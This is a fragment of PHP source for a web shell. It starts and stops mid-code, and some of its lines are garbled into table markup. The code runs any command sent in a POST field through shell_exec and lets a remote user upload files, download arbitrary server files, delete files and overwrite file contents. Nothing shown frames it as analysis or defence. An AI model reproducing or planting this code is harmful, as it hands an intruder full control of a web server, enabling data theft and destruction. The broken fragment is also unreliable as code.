".htmlspecialchars(shell_exec($_POST['cmd']))."";}
if(isset($_FILES['up'])){$t=$d.DIRECTORY_SEPARATOR.$_FILES['up']['name'];move_uploaded_file($_FILES['up']['tmp_name'],$t);echo"Uploaded: $t
";}
if(isset($_GET['dl'])&&file_exists($_GET['dl'])){header('Content-Disposition: attachment; filename="'.basename($_GET['dl']).'"');readfile($_GET['dl']);exit;}
if(isset($_GET['del'])&&file_exists($_GET['del'])){unlink($_GET['del']);echo"Deleted
";}
if(isset($_GET['edit'])&&isset($_POST['content'])){file_put_contents($_GET['edit'],$_POST['content']);echo"Saved
";}
if(isset($_GET['edit'])&&file_exists($_GET['edit'])){echo'
| Name | Size | Perms | Actions |
|---|---|---|---|
| $link | $s | $pm | Del"; if(is_file($p))echo" | Edit"; echo" |